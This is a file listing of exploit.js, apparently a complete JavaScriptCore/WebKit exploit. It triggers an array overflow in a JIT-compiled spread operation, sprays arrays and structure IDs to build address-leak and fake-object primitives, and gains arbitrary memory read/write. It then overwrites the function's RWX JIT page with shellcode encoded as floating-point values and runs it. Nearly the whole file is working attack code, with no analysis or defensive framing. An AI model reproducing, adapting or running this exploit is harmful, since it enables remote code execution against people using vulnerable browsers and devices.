/
exploit.js
178 lines (142 loc) · 4.83 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){
let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
struct['addNewStructureId'+x] = 0x1337
sprayedStructureIDs[x] = struct;
}
print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){
target = []
targetAddr = leakAddr(target)
}
target[1] = 1.1
print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) {
hax[targetButterflyIndex] = i2f(address)
}
print("[+] Got R/W primitive")
var myJitAddr = leakAddr(jitMe)
setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])
print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229
print("[+] Executing Shellcode...")
jitMe([13.37],[13.37])
`
eval(postTrigger)